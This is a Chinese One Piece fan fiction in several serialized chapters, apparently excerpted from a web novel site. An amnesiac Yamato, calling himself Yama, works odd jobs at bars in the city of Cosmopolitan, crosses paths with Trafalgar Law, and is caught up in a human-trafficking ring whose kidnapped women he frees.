《[海贼王]想成为御田的男人》 1. piece 1-不是大和的亚玛和男海贼 《[海贼王]想成为御田的男人》全本免费阅读 科斯莫波利坦,伟大航道上的“时尚之都”、“酒吧之都”、“名流之都”。在繁忙的白昼随温度一同随风消散后,带着秋意的凉夜吹起另一阵蓬勃热闹。 穿过夜幕降临后更无法隐藏躁动的青年男女,男人抵达了自己今晚的目的地。 琳琅闪片穿成穗状,在可用淫靡形容的氛围灯下反射不同颜色,难免俗气,从黑洞洞的天花板一直坠到房屋中央,对男人来说稍嫌碍事。未免帽子被碰掉,他得不太情愿地低下头或侧首躲开。 身边倒是不断出现穿着同样缀满闪片的短裙,或嵌着金粉的丝绸或薄纱的女人,从装饰物下扭着腰臀走过。虽然步法像猫,但色彩却像是黑暗中的甲壳虫,散发着不是特别好形容,细想却还有些微骇人的光泽。 卡座上已聚集不少人,他轻易找个靠边却格外显眼的位置,一坐下就习惯性地翘起二郎腿,仿佛怕两只脚都沾地容易传导什么奇怪的电流。 他在等一场交易。只不过在那之前,他还需要一些耐心,等这帮习惯干坏事之前先例行声色犬马、纸醉金迷的混混闹腾完才行。 - - 亚玛为了给自己攒足出海的船费,每日帮寄宿家庭同时也是裁缝铺看店外,要在店铺打烊后到酒吧再打打杂。 从意识到自己好像可以打得过多数混混,甚至和整条街的保镖打手比起都不遑多让时,他就开始了。 他比一般的男人女人力气都大,能做的事情有很多,也什么都肯做,因此酒吧街的老板们都认得他,也都肯偶尔在人手不够时使唤他来打杂。 他常常给A店搬完新进货的酒,就到了B店门口跟打手熟稔地打声招呼,然后去了今晚已经约定好要他帮手的C店。 和刚才进店的男人一样在装饰亮片间左躲右闪地走进酒吧,但动作熟练且轻快更多。他跑到吧台前,二话不说便接过酒保放置了一枚球状冰块后又注入饮料的玻璃杯,乘在托盘里,敏捷地快走向舞台。 酒液荡漾但没有一滴溅出。 爵士键盘手看样子已经在等他了。他笑嘻嘻地在钢琴一侧放下酒杯,然后转个圈稳稳坐在琴凳另一侧;渐变色的长发就像异域女郎热舞时的裙摆,飞扬起来过后又垂顺帖服地落在身上。 “开始了。”可能已经等得有点不耐烦了的钢琴家出言提醒后,就手起指落,琴键如流水一般快速地波动起来。 他得帮钢琴家翻谱,这是他在打杂期间顺带学会识谱之后多出来的一项新任务。 琴音如雨点,酣畅多变但因为重力原因也不甚自由。他注意集中地看谱,在恰到好处时翻页,但内心还是在不由自主地想: [真正自由的音乐应该有像浪花的节奏,或者海鸥的呼唤,或者时刻变换的洋流与海风——在吹过桅杆与鼓起的风帆时——那种不被限制的旋律。] 钢琴家似乎越演奏越进入状态了,随之而来的,是他也提高了翻页的频率。他必须承认钢琴家是这条街最棒的。 但心中隐隐还有一个疑惑,猜想原来真正的钢琴家也需要琴谱才能演奏爵士乐么? 总之耳畔演奏的乐曲越发流畅了。他想告诉钢琴家这一点,但又怕钢琴家嫌他一个外行也敢对自己评头论足,便忍着没发声,还是想打算等合适的时机,(例如钢琴家喝下两杯高度数烈酒之后放松下来。)再由衷地表达赞美。 不过他一会还要去帮调酒师清洗调酒器、切橙子、剥葡萄柚和无花果等,可能来不及等到钢琴家放松警惕的时候了。 思索着稍后要去做的事,亚玛便也不觉得遗憾了,因为他可以做的事还有很多,并且总能赚到一小笔不错的收入、充实他为再次出海攒下的“小金库”。 - - 亚玛的名字起初不是亚玛,是他莫名得以出海冒险后被冲上第一座小岛屿时,阴差阳错取的名字。 那会他醒来时只清楚地想起自己“终于能出海了”,除此之外没有一片回忆是完整的。 ——譬如第一个捡到他的女孩问他是谁,他只能依稀地吐出“Ya…Ma…”便犹豫不知接下来出现在脑海里的辅音“T”开头的音节是否也是名字的一部分。(注1) 于是便有了:“原来你叫Yama,亚玛。那我以后可就叫你亚玛了!” “……可以。”他是这么回答女孩的,反正叫什么名字无所谓。就像对他来说别人认为他是什么也无所谓,只要他认为自己是男人就好了。 至于为什么认为自己“应该”是男人,更无所谓,一部分原因也是他想要成为像“光月御田那样的”男人——他其实甚至想叫自己的名字为“光月御田”。 至于光月御田到底是谁,暂时想不起来,不过问题也不大;他脑子里有这个名字,比任何名字乃至自己的名字都清晰。就像一段祝福或诅咒,留下了,就是有痕迹的,并将决定他未来的人生轨迹。 除此之外还有一个名字是“艾斯”。那是谁?不知为何,他反倒有点在意,不为别的,就因为他知道自己跟这个名字的主人有个约定:成功出海之后是一定要再见一面的。 两个名字,一个梦想,和一个约定。除此之外,他一无所有——哦,还有一个出场即获取的临时名字“亚玛”。 然后亚玛开始了自己不完全的冒险生涯,和主要是流浪攒钱的旅途。 - - 眼下,是他途径的第二座岛屿,也是一个独立大都会,科斯莫波利坦(Cosmopolitan)。 虽然为了离开上一座岛屿花了将近半年时间,而抵达科斯莫波利坦后又很快身无分文,但兴许商业繁荣的大都会给了他一种“很快就能赚到很多钱”的错觉,目前他感到远大前程就在眼前,在这里应该会交好运的。 现实情况是当钢琴家退场、电音DJ上场后,他今晚的一项主要工作就结束了。从燥起来的舞台上跳下来,再迅速滑过即将变得密集的舞池,重新小跑回吧台。 只不巧:今晚怎么有个意料之外的小子站在了调酒师身后?同样是洗弄杯子器皿、剥皮剃核,显然远做得不如亚玛认真仔细,但调酒师似乎也觉得半斤八两、与己无干。 难道真正的调酒师站在属于自己的吧台后,也只会像酒保一样,重复配方和表演几种眩目的技法? 亚玛倒也没什么好抱怨的,他仍想告诉调酒师他今天调出来的鸡尾酒层次比之前更漂亮。不过为免得听起来像拍马屁为了抢夺另一个打下手的活计,他又陷入了犹豫。 短暂的犹豫间,他就被在音乐与灯光及酒水作用下越来越忘情的客人一把拽走。 是真的“拽”走,令人意外地抓着他的长发,说走就走。 他惊得瞪大了琥珀色的眼瞳,仓促叫停间,反对的声音却被剧烈嘶吼的低音炮和派对人群的欢闹掩盖。 亚玛被动跟随了几步,好在他个子还不算太高,只需顺势歪着脑袋,脚步再配合对方控制一下,头皮就不会太痛。 可他毕竟不想忍受这样的对待啊。对方明明也只是比他矮的不起眼的男人。 好在,男客人不久停了下来,发出明显不只是喝高了——可能也抽高了——的夸张笑声,尖叫着将他猛然推向别处。 ——老实说,要不是怕被误认为“娘娘腔”,该尖叫的也是亚玛自己才对吧? “啊。”一个不算尖锐的感叹词,随着惯性倒下时发现其实压住了其他人而惊讶地脱口。 “喔噢!——海贼,这个女人看起来很喜欢坐在你身上,哈哈哈!——” 额,完全不是。亚玛迅速调整重心坐起来之后,急于想对两个人——抓着他头发把他误当作模特们抓过来的男人,和他不慎压到的男人——解释自己既没感到喜欢,也不是女人。 但在那之前,他可能要向被压到的海贼(“海贼?”)先道声歉。只是猛然腾起的期待感让他开口之前先迫不及待地回头,看向了海贼。 海贼,他出海之前也想去当一个海贼,因为光月御田和艾斯都是—— ……“都是”什么?他又触到了记忆片段那仿若锯齿状的边缘,想不清楚自己记起的到底是什么了。 倒也罢了。 抬眼,身后的男人刚好仿佛漫不经心地抬起头,帽檐还没有从被遮 2. piece 2-不是大和的亚玛和误会 《[海贼王]想成为御田的男人》全本免费阅读 等到乐声渐息,酒吧内的气味也达到了令人无法忍受的浓度。最初将亚玛当作模特拉进卡座的人贩已经来回吐了三次,泄了气的皮球一样被小弟架走,留下满座狼藉、一地玻璃渣。 还清醒的似乎只有原本就不属于帮派的两个人:同人贩套话间喝掉两瓶高档烈酒的海贼换了个方向翘二郎腿,与之差不多战绩的亚玛依然窝在他旁边。 后者在思考人贩的小弟会不会去结账,别逃单害得其他人要自掏腰包(他反正是掏不起)才好的同时,脑中也有了新的问题。 “没喝够么?”几乎一整晚没再正眼瞧过亚玛,而男人这时却从帽檐后直直打量起他。 或许也未料到能有“并肩战斗”至最后的人,而这人恰恰又是亚玛吧。 见亚玛也看向他,便又若有所思地讲:“换个地方,呼吸点新鲜空气怎样?” “嗯,可以,我也早想出去了。”眼前的残局也确实到时候起身离开了,亚玛将手中(早已从酒杯换成了)酒瓶放下,率先起身离席。 身边还是筋疲力尽或意犹未尽或“心愿达成”的时髦男女,只不过狂欢到此刻他们的时髦也显得有几分狼狈,多少有点“盛装打扮的魔鬼在放肆造作后逐渐显露原型”那个味道。 门外的夜是黎明来临前最极致的黑暗。 “去我那喝两杯。”从她身后走出来的男人提议。 “啊,还喝?”亚玛这才明白他的意思,感到一丝讶异。 “我看你还能喝。”语气无甚起伏的陈述语,半是懒散半是调侃。 ——倒也没讲错。 海贼下过定论后便越过他身边,领头划定了方向,仿佛也在无形中划定了两人的主从关系。 不得不说这位海贼有些自负,但或许有一定的实力? ——稍有些能力的人多多少少都有傲气,何况是“海上征战的男儿”呢! 亚玛好意替陌生人开脱后,耸耸肩,没大在意便跟了上去。 “喂,你还没有告诉我,你真地是海贼么?你为什么一个人行动,你没有同伴吗?” “……” 海贼没有回答。 也或许是他给亚玛的感觉还不够凶恶,或者应该说在今晚注意到他的第一眼给亚玛的感觉还只是 [故作凶恶]——和他心目中真正的“坏蛋”仍有不小的差距,实力也是、恶劣程度也是——因此他又小跑到近前追问。 “呐,你从哪里来的,是恰好途经这座岛么?” “你见过‘颠倒山’么?” “方不方便告诉我,你为什么要打听人口贩卖的事呀?” 陌生人步履很从容却走的很快,不过追上他对亚玛来说不怎么困难。或许也是被他一路锲而不舍的提问搞得不耐烦,叹了声气后说:“Law!” “?”亚玛自然而然一脸问号。 “特拉法尔加-罗(Law),这是我的名字。不是‘喂’,也不是‘呐’”他解释到,仿佛这就是刚才所有问题的终极答案。 “唔。我叫亚玛。”——即便他并没有问过对方尊姓大名。 大约海贼也和他想的差不多,于是对听上去就没什么辨识度的名字也没有做出任何反应,(联想到后来所做的事,怕不是此刻他还以为这个只有双音节的名字只是个艺名,甚至是什么无意义的诨名,)直言:“你刚才可没显得有这么多话。”他的语气不知为何像是被谁骗了。 “刚刚我在想别的事情。”直到酒吧散场,亚玛都还侥幸思索能否在今晚再谋一份差事。 “因此现在才是你们‘这行’的习惯?”海贼这时的话又让亚玛摸不着头脑了,“就不能安安静静地把钱给赚了?” “呃,非要这么说的话……也是因为开朗一点可能会找到更多‘活儿’么。”他尝试着理解对方所说的意思,还以为是在为自己打杂过程中的人设作辩解,却殊不知两人早已不在同一“频道”交流,越涂越黑罢了。“更何况酒吧来的客人有时候也希望能找人聊聊天。” “——啊不过我本身并不觉得自己是话很多的人。所以你要是不方便说这些,我也就不问咯!” 海贼此刻的神情有种“都已经带到这里了再赶走也好麻烦”,和“到这一步算我倒霉”的微妙叠加感,却也没对陌生人恶语相向。 或许就在一道浅浅的“啧”声之后他就放弃了抱怨。而跟在他身旁的人显然不具备自行读取如此复杂的信息、并识趣处理的能力,最终也只能由他亲自吞下这口“鸡肋”。 - 不知不觉已来到了一间半旧不新的店面前,看似不怎么时髦的老式乡村酒吧,地段也远没有酒吧街热闹,甚至亚玛到大都会以来几乎没到访过这片区域。或许这正是海贼选在这里落脚的原因。 店门吱吱呀呀地打开又合上,昏黄灯线下还有个伙计在柜台后面点头如钓鱼。兴许店里提供名义上的24小时不打烊服务,亚玛看见叫罗的男海贼重重地敲了两下柜台,于是伙计便“啪”地醒来又立刻露出殷勤的笑脸。 只听海贼冷酷的声音说到:“一瓶黑朗姆,两只杯子。” 然后他就一手握住瓶颈、一手夹住杯沿,头也不回地走上楼去。看样子似乎真要继续请亚玛再“喝两杯”。 ——奇怪的人。 “你不是本地人吧。” 走进酒吧楼上的客房,将亚玛放进门内后,海贼便自顾自地开瓶、倒酒。要不是他将其中一杯刚好放在桌沿上,示意亚玛过去自取,后者恐怕要怀疑他是否有诚意招呼自己进门。 “嗯。”亚玛转身善意地将门轻轻掩上,也不想此间的对话穿过酒店客房间狭窄的走廊,扰了其他作息正常的普通旅客一场清梦。 “你是怎么来科斯莫波利坦的?”也不知是否黑朗姆或独处一室的作用,海贼比刚才显得放松一些,也开始主动向亚玛问话。 说到底不过萍水相逢,亚玛还是存了一丝警惕。等他目光扫过整个房间,发现除了一柄靠在床头的长刀(令人印象深刻。)之外似乎再没有什么其他值得注意的危险品后,便径直走向放酒的木桌——其实看起来不过是个不再使用的橡木酒桶。 他拿起酒杯先浅浅地润了润口,“我出海前就失忆了。不过出海后到的第一个地方应该不是太欢迎我……呃,算是为了多挣点钱改善生活,外加找些门路,才来这里的吧……不过你问这些是为了什么?” 他抬头看向另一人时,也恰好看到对方默默地收回有些讶异的目光,亚玛大概明白是哪句话引起的。 “那你不知道也难怪,因为你不是通过‘那种渠道’来这里的,”海贼饮下一口黑朗姆后短暂地闭上双眼想了想,“——我之所打听人口贩卖的事,也是因为大都会不光表面上被称作‘时尚与名流之都’,暗地里也被称为伟大航路首站‘人口市场’。” ——听起来就像在谈什么牲口市场。 “哈?大都会么?科斯莫波利坦?” “不然你以为这么多‘模特’是哪里来的;那些你今天能见到、明天又见不到的模特们又去了哪里?”男人冷冷地反问。 亚玛当然明白他在暗示什么。 “也不全然像你说的这样吧,我还是认得几个女孩是真正怀揣梦想才入行的。” 在无活可干的夜晚,他偶尔会与同样在酒吧街打发时间的单身女孩聊天,也曾听到类似的愿望。 “当然不是所有的,但剩下的也是幸运的。” 亚玛只得将信将疑地打量他。 “可是,就算像你说的,被贩卖至此难道不会逃跑么?” “如果有能力并且有想法的话……不过你天天看到的这些女人,有几个是真正能出现在秀场上的?真能上秀场、接广告、当明星的幸存者,只怕多半也想不到要逃;如果没有那样的本事,你觉得这部分女人被‘分销’去的地方真有机会让她们逃跑?便是有个把逃出生天的机会,有利用机会的实力?” 亚玛一时半刻还无法展开想象,不过眼下有个更让他在意的问题:“你为什么要关心这种,你不是海贼么?这种制裁犯罪、拯救受害者的事应该交给世界政府去管吧。” “世界政府……”说话间,陌生海贼列了咧嘴,笑得仿佛有些险恶,不过他没有就此展开话题,而是继续回答亚玛的问题:“你说的没错,我不打算管别人的死活,我的目的在这些人贩身上。准确说,在人贩们的‘背后’。” 话题似乎偏向了越发高深莫测的地方,亚玛犹豫着是否要问下去。 他记得刚刚在路上海贼还嫌他话多,哪料到这一会儿聊了这么多。 话说回来海贼让他跟上自己的目的是为什么?总不会以为他和酒吧里的人贩有什么关系,从他嘴里还能套出别的 3. piece 3-不是大和的亚玛和冤屈 《[海贼王]想成为御田的男人》全本免费阅读 与海贼度过不知该如何形容的夜晚过后,亚玛本能地倾向于不再考虑已发生过的既成事实。 他加快了出海的行程计划,一边清点自己积攒的财物,一边收集船只航线的情报,虽然攒钱不易,但他开始每日购买报纸了,还是最具认可度的《世经新闻》。 从新闻报纸夹页中掉出的世界政府悬赏令上,他应证了海贼当日所言非虚: “特拉法尔加-罗,悬赏金2亿贝利。红心海贼团船长。绰号:‘死亡外科医生’。” ——想不到如此“值钱”的海贼船长竟会在科斯莫波利坦登陆。 若说海贼船为了在伟大航道航行不得不靠岸补给和等待记录指针记录岛屿磁力,倒也能理解,可船长怎么也会大摇大摆地在岛上行动? 不但出现在黄金地段的酒吧街,还是单独行动——果真是对自己的实力太有信心了吗?他的自负个性就连亚玛在初次见面时都看出来了。 不得其解。亚玛索性也不去想,放下特拉法尔加-罗的悬赏令,翻了翻新闻中夹的其他悬赏令。 不看不知道,现今海上居然有这么活跃的年轻的海贼,长得怪模怪样不说,看照片上展现的剪影似乎就连个性都鲜明地跃然纸上。 有的眼神高傲冷酷譬如罗,有的笑容嗜血残暴譬如“匪帮”卡彭-贝基,有人无需细看、仅是扫一眼就能领略其邪恶与贪婪,可以说凶险狂狷之徒还是占据了海贼这一群体的主流,但也有莫名其妙,顶着一张讨喜的阳光笑脸的“草帽小子”蒙奇-D-路飞。 ——话说最后一位真是海贼么? 亚玛的目光在其上多停留了片刻,下意识地露出一丝毫无恶意的浅笑。 ……说来,亚玛也就是这时才意识到一个问题:一心想出海的他为啥直到今天才想起关注海贼和海贼团的消息呢? 是个应该好好反思的问题! 另外一张悬赏令也引起了他的注意力: 波特卡斯-D-艾斯,悬赏金5.5亿贝利。前黑桃海贼团船长。白胡子海贼团第二小队队长。绰号:‘火拳’。 艾斯? 会刚巧是亚玛念念不忘的同一个艾斯么? 他好像确实有点模糊的印象,“艾斯”应该实力不错,或许也可能是海贼?但是居然被世界政府判定值5.5亿,就为这一顶年轻英俊的脑袋? 仔细瞧瞧,鼻翼两侧的脸颊上还有着颇为可爱的雀斑。 确实长得不讨人嫌,眼神虽然嚣张但看不出恶意。 如果果真有缘相识一场,或许亚玛会愿意和这样的“艾斯”深入结交吧?看起来他们年纪似乎也相仿。 他想了想,拣起这张海贼“火拳”艾斯的悬赏令,起身。“嗯,假定你就是艾斯吧!”说罢自己先笑起来,这是因为胸口忽然涌起的热意,像晒到太阳一样的热度。 ——正是这样的热度,也让亚玛忍不住觉得手中悬赏令上的照片就是他要找的艾斯。 他终于找到了豁豁丫丫的大脑残片中一段实在的影像,终于可以有机会确信自己作为人是有真实过往的。 这一刻艾斯的名字和剪影也不仅是悬赏令上的片段而已,对于亚玛来说,它们就像亚玛存在的证物,证明他不是凭空出现的、模糊不清的事物,而是可以自我肯定、自我认知的确切独立个体。 “艾斯,谢谢你!你帮了我一个大忙!” 艾斯,等着他,他正在想办法,很快应该就会见面了! - - 亚玛开始热衷于留意港口近期是否有船只出海、是否有合适的随船工作信息。 虽说目前已知至少有一艘海贼船停留在附近海域,可能还是实力比较不错的——从船长的赏金来看——但他不想去尝试。 没有理由。 ……不对,说谎了。理由就是请恕他对罗有成见;即便因误会造成的既成事实也不完全算对方责任。但果然这位红心海贼团船长的品行还是有缺陷的吧! 因此还是先找个合适的商船试试看吧。 亚玛也还是会在夜里去酒吧街打打杂工。一旦有了提防心之后,就不会再轻易让奇奇怪怪的客人逮到。 每天麻利地做自己预先知道要做的活计,干完就收钱走人,回寄宿家庭给他留的小房间里,整理已是铺满墙的、海上来的消息。 不过关注一段时间新闻之后,他也隐隐感觉到身边——虽然不是从新闻报纸上看到的——似乎也存在着什么不安因素。 事实上,如果不是某天“死亡外科医生”海贼透露,科斯莫波利坦在“地下世界”被称为伟大航路的首站人口贩卖市场,尤其盛行买卖年轻女性的现象,亚玛还真未意识到周边街上,尤其酒吧街的女生,的确有些人突然出现、或再也见不到。 原以为这是由于大都会的人口流动率高,他还从未往“人口买卖”与“人口失踪”上联想。如今带着新的认知看待同样的现象,他开始感到一丝忧虑。 但是真地要管这样的闲事么?他还要抓紧时间准备出海。 况且人单力薄,正常来讲也不会有人认为凭自己一人之力能捣毁一个产业链吧? 亚玛最终想到要将这件事报给岛上驻守的海军。虽然在听他报告的过程中负责笔录的海军时不时会用一种奇怪的眼神打量他,但最终海军还是答应了会调查此事,亚玛便稍稍放心下来。 然而还是有一件事的发生——算作导火索——最终改变了他打算置身事外的想法。 那日亚玛照往常一样替寄宿家庭照看铺子,或许因为天气阴沉眼瞅就要下雨的原因,店里来挑看乐器的客人不算多,原本就宁静的午后一时竟显得有几分冷清。 他正在半瞌睡(为夜间还将开启的打零工模式养精蓄锐)时,听到一阵风铃声从门口传来,惊醒地睁开眼,只见一位年轻人站在店里。 敬业地打起精神招呼道:“客人您好!请随便看。”然而年轻人并未关注到周边琳琅展示出的键盘、铜管、弦乐等等乐器,直接开口发问。 “莉娜在哪?” 亚玛听后微感意外。 莉娜是这家店也是他寄宿家庭的女儿,16岁不到17岁的纤弱姑娘——可说从各方面都配得上这个形容词——不但心性敏感纤细,才华横溢,店里几乎所有乐器她都能摆弄一番,就连外型和体质都是文文弱弱的,患有先天性的哮喘。 由于身体不好,基本稍微活动或受刺激就会气喘不止,莉娜很少出门,几乎都在家里谈谈琴、写作一些曲谱,也几乎没什么朋友——至少亚玛在的这段时间没注意到她有什么时常来往的朋友。 “请问客人您是莉娜的……?”为免显得怠慢,亚玛还是立即回神询问年轻男人。 来者看起来比莉娜似乎年长一些,但应该也打不到哪去,可能也比亚玛小一些。无论是身板、个头还是面孔都看起来像男学生。 “我……我是莉娜的男朋友。”不知是由于说谎还是紧张的缘故,年轻男人自我介绍时有些犹豫,目光躲闪了一下才又像坚定了什么想法那样对亚玛说:“她在吗?请告诉她希洛斯——我的名字是希洛斯——在等她。” “啊,可是我……”其实寄宿家庭的女儿今早应该并没有出门,如果亚玛没猜错这会她应该也还在楼上自己的房间里创作或者休息,中午之前他还听到琴声隐约传到楼下来。 但问题是他 4. piece 4-不是大和的亚玛和绑架 《[海贼王]想成为御田的男人》全本免费阅读 亚玛不明白事情为什么会发展到这个地步。 再次出海之前却先锒铛入狱。他虽然想过要成为海贼,但还没付诸实践这一“违法行动”,居然先被抓起来了,即便和想当海贼这一犯罪思想毫无关系。 最大的问题还是一整晚、又一整天过去却还没有任何人、任何环节安排他录口供,或交代自己所了解的事情经过。 在他被关起来的时候,寄宿家庭的女儿莉娜怎么样了、劫匪是否被抓到了或已经暴露踪迹和意图、店主夫妇是否还怀疑是“劣迹斑斑”的亚玛串通坏蛋劫走了莉娜?这些问题一概悬而未决。 他尝试在监牢中呼唤看守,或努力声明自己的清白,但除了招来看守骂骂咧咧的威胁之外,并无任何建设性作用。 难道他只能等到开庭才有机会为自己申辩吗? 懊丧、委屈,还有被冤枉产生的愤怒感充斥他的胸膛,可眼下似乎也毫无办法。在气呼呼地喝下监牢分发的味道发馊的荞麦粥后,也只得抱着胳膊靠墙休息。饶是平日体力再好,经历无妄之灾后又一整夜没睡,眼下也感到一波上涌的疲惫困倦。 于是在各种情绪在脑中乱窜的情况下做了许多没头绪的噩梦,梦里有许多人在奔跑,惊惶不定的表情出现在频频回头的脸孔上,忽然有人倒下,紧接着倒下一片。 轮到亚玛回头看时,他也像眉心中了一枪那样向后仰去,他醒了,塞了满嘴不知是棉布还是毛巾的东西,口不能言。他以为还是梦境,闭上眼又昏睡过去。 有人拉扯他的四肢,后腰似乎撞到什么,疼的他又几乎睁开眼,然而眼前一片黑暗,似乎有人阻止他看见阳光,阳光却还是通过极其细小的孔隙钻进来落入他的瞳孔。 他尝试挪动身体,以辨别这是不是做梦,但没有成功找回知觉。 身体腾空,但很不舒服,有种想呕吐感。 意识几经沉浮,昏睡又清醒,终于再睁开眼时依然是浓密的黑夜,仿佛他才睡了没多久那样浑身乏力。 这是怎么了…… - - “……行了,口供已经销毁,这个不男不女的家伙也抓了过来。你们还有别的收获。现在,这会,你懂的。” “好吧、好吧!别急嘛,哪次少了你的?” “不,我要求这次必须加钱。我不能再干了,你们已经被发现了,很快海军总部会派人来。” “哦?怎么说?” 有陌生的声音,和陌生的味道——也不算陌生,不过是比醒来之前更浓的咸腥味,几乎就像身处海边了——仔细听似乎还有不算响亮的水波冲刷声。 这是什么地方? 亚玛的感观已经渐渐找回来,此刻虽然脑门有些发沉且隐隐作痛,但能确信自己是清醒——梦里是感觉不到痛的,不是么? 仔细辨认说话声,似乎有个人的声音也不算十分陌生,似乎亚玛不久前也曾听过。 可正待继续辨别和回忆,只听空气中传来沉闷的钝响,紧接着一道细微的呜咽,有什么倒地,拖拽引起的摩擦声、重物投入海中的落水声。 最后有个人像是没忍住那样发出嗤之以鼻的冷笑,说:“既然不再干了,那这次的价钱干脆打个折吧。” 亚玛下意识地皱起眉头。虽然双眼蒙在一片黑暗中,但他大概猜到其中有个人被他们丢下水了。 从不同的脚步声判断这里应该至少有4个人。 虽然对自身的力量和速度有一定的了解,但亚玛还是无法确定如果此刻反抗,是否能以一敌多成功逃出去尚且未知,他犹豫了一下,决定再等等时机。 等脚步声纷纷远离,亚玛这才开始摸索四周可借助的物品或能借力的地方。他本想找个有突起或锐利的东西将缚手的绳索磨断,可扭来扭曲地挪了半天也摸不着边。 凝神思索的档,猛地察觉有什么细小的玩意朝自己飞了过来,正待仔细观察,只听“叮铛”一声脆响,东西掉在了船内的铁皮地面。 亚玛迅速伸手试探,摸出似乎是个小巧的戒指,摸到戒环上方刚好有卡住宝石的戒托,亚玛来了精神。 虽然不确定这小玩意有多结实,他还是试着快速磨起腕上的绳索,虽因背着手使不上力,且可用的力臂距短,折腾了没一会就感觉手腕酸疼,连带着仿佛脑门的痛感也在加剧。 可情势不容他停下来,只能咬着牙坚持直至感觉到两手臂间一松,最后用力挣开,手臂总算获得自由。 下一秒迅速扯下遮挡视线的头套,顺便也将塞在口中的毛巾拽出来,刚揉了揉酸痛的腮帮,抬眼间却还瞥见了不远处的其他人影。 原来这里关着的不止他一人。 这是一艘颇具规模的货轮,夜色中竟一眼望不到船舱的尽头,又或许只因涂料吸光的原因。 然而在可见区域散落的货箱旁,他还是看到了至少有十几位和他一样被绑起来——或锁在管道边、或关在笼子里——并用胶布封口的女性。唯一的区别就是她们没有被罩住头,黑夜中闪亮的除了惊慌的眸子,或许还有泪光。 亚玛愣了一下,马上反应过来手中解救了自己的应该就是某位女性所戴的戒指。 他赶紧用力扯开脚腕上的绳索,感觉血液循环刚恢复利索就拖着酸胀的双腿爬起来,于夜色中找到视线可及的其他被绑架女性,解放她们的行动。 其中一人松开手后便迫不及待地自行撕下胶布,告诉他将戒指还给她。 亚玛立刻将戒指递到她手中,“原来是是你……多谢你的戒指!”不过戒面还是遭受了不小的磨损,或许在夜间女人还没有注意到,就迫不及待地戴回手上。“你们被关在这里多久了?” 听到亚玛压低声音的提问,女人立刻回答:“这里看不到时间,但从送饭的次数判断至少也过去了快1个星期。” “天呐,没有人来查过这艘船吗?” “没用的!”女人控制着颤抖的语调告诉他,“就连巡警和海军都被他们收买了。你没听到刚才那个被扔下海的人说什么吗?那个死人就是海军!” “……”也就在女人的提醒下,亚玛才猛地对上号:刚刚有些熟悉的说话声,好像就是在他几天前向海军分部报告有人口拐卖情况时作笔录的士兵。 来不及细想,亚玛扶着女人站起来,又向四周看了看,“我先救你们出去……对了,你有没有见过有位浅金色长发、皮肤很白、年纪大概16、7岁,个头大约1米6左右,穿鹅黄色无袖连衣裙的女孩子?” 他突然想到被劫匪抢走的莉娜可能也在这艘船上。 “不,没有。” “她应该是两天前被带过来,身体不好,可能会经常咳嗽之类的。” “不,我没见过。”女人再次摇头,坚定地说没有这样的人。 如此亚玛也只得作罢。眼看视线所及之处的年轻女孩已经恢复行动自由,有人在互相帮忙解开捆缚,他决意先把这些送出去,旁的等大伙安全后自己再找人……或自己单独回来再搜寻一遍。 ——不知道当地的官方有多少被人犯和帮派收买的人,如今也不敢轻易去报案了啊。 如此琢磨着,亚玛聚集了被绑架来的女性们,领头小心摸索至船舱外。 月光照亮着平静的海面,看似与每个平凡的夜晚一样。 可到底其实是每个夜晚都会上演这样的犯罪、肆意伤害他人,还是亚玛只是刚巧经历了特别的一天呢? 不得而知,不甚了了。 他还算夜视能力比较好的,动态视觉也还不错。刚才在反光较差的船舱内都能分辨出环境,此刻在天光下,在精神高度警觉的情况下,自然也能够发现每一处可能发生的风险,并作出正确应对。 可这并不代表跟在他身后潜逃的每一个普通人都有同等的判断能力。 - - 红心海贼团已经在科斯莫波利坦攒满了记录指针的磁力,不过身为船长的罗却还有些问题没有完全调查结束。 日前虽与附近海域的人贩成功接触,也套到了一些看似有用的信息,但有些难以核实,有些却还是暧昧模糊的消息。 可他一贯的“独狼”行事原则就建立在不会将船员牵扯进来的前提下,自然,也不想拖累同伴航行的日程。 他打算启航前最后一晚再出来试一试运气。 直捣人贩势力盘踞的峡湾,如情报所示,那里确实停靠一艘货轮,夹在两侧崖壁之间,月轮与深蓝色的幕布下,还是一道体型相当庞大的黑影。 也罢。 5. piece 5-不是大和的亚玛和重新上路 《[海贼王]想成为御田的男人》全本免费阅读 门外的帮派成员飞进操控室时,罗正在审问这伙兼做打家劫舍和拐卖人口的帮派小头目。 被动静惊扰,虽然早已听见门外的骚动,他还是意思意思、掀起眼皮,正瞧见揍飞帮派成员之后冲进来的“女人”。 “这不是也挺能打的。”然而“她”的去而复返还是令罗刮目相看。 白闪电般呈现霓虹绚烂色变的长发随奔跑而飞扬,停步之后又在背后如云彩落定。 “你没事就好!”亚玛定睛之后也看到了窝在船长座椅上坐没坐相的男海贼。 他这声感慨有无法忽视的喜悦,却令罗听来多了一丝不爽。 ——明明自己满身狼狈还敢来替他操心。若不是料到亚玛不清楚他是谁、实力又如何,他会怀疑这是一种挑衅。 事实上如今这条船上的帮派小喽喽都已在方才被他教训过一遍,包括被亚玛揍飞进来的男人也已经领教过个中“滋味”,正是在罗的命令下老老实实守在门外,“不让任何人进来”。 罗只是没想到逃出去的女人们还有谁会跑回来——论理逃出生天后应该有多远躲多远才是——只是忽略了亚玛这一变数。 不过这对罗没什么损失。无非是门外的帮派同伙白白多挨了一轮胖揍而已。 “你先等着。”扬扬手叫后来者别插嘴,他则接着对已经吓得半死不活的小头目进行一种很另类的“拷问”。 亚玛也就在这时才注意到屋内半空中飘散着莫名其妙的黑影,等借助逐渐升高的月亮看清楚,他竟起了一层鸡皮疙瘩:靠之,这到处乱飘的怕不是人类的肢体和器官吧?? 虽然地上不见任何血迹,除了他刚刚闯进来造成的财物损失外似乎也并无其他打斗痕迹,但漫天飘肉块是什么情形? 为什么看起来只剩下一颗脑袋的人贩好像还活着、能惨叫、会说话的样子? 而看似唯一有可能是始作俑者的罗,噙着不可谓不邪恶的笑,老神在在地发号施令同时,修长手指竟如巫师的魔杖,指向哪里,半空中的肉块就飞向哪里。 他只需看似轻松地动一动手指、转一转手掌,器官就会发生变化,或改变形状,或调头撞在一起。 与此同时,人贩凄厉的惨叫时断时续。 “好好!我说!我说!”人贩终于挨不住,竹筒倒豆子一样交代了他所知晓的一切。 亚玛虽不知罗为什么要获取这些消息——即便罗好像曾做过一部分介绍,在亚玛不愿回忆的那个夜晚——但如此对同为人类的他人用刑,如玩弄般对待他人身体的态度,也实属很恶劣了。 即便罗有这样的能力也着实令人惊叹。 当一切结束,男海贼又像高超的指挥家一样,动动手就令七零八落的躯干转眼间拼接起来,还坏心眼地故意少接一块——偏偏是对小头目而言最重要的一块,正是那颗鲜活跃动的心脏。 